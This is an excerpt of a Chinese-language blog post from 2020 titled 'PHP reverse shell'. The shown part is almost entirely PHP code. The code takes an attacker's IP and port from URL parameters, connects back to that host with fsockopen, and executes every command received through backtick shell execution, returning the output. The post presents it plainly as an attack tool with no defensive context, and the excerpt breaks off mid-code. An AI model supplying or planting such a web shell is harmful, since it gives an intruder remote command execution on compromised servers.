Myluzh Blog

PHP反弹shell

2020-3-6 myluzh PHP

需要传递ip跟port两个参数,ip为攻击机的ip,port为自定义端口 <?php set_time_limit(0); $ip=$_GET['ip'] $port=$_GET['port']; if ($ip == "" and $port == "") { echo "[ip] [port] not defined"; exit(); } $fp = @fsockopen($ip, $port, $errno, $errstr); if (!$fp) { echo "connection timed out"; } else { fputs($fp, "\n++++++++++connect success++++++++\n"); while (!feof($fp)) { fputs($fp, "shell:"); //输出 $shell = fgets($fp); $message = `$shell`; fputs($fp, $message); } ...

阅读全文>>

标签: php 反弹 shell

评论(0) (986)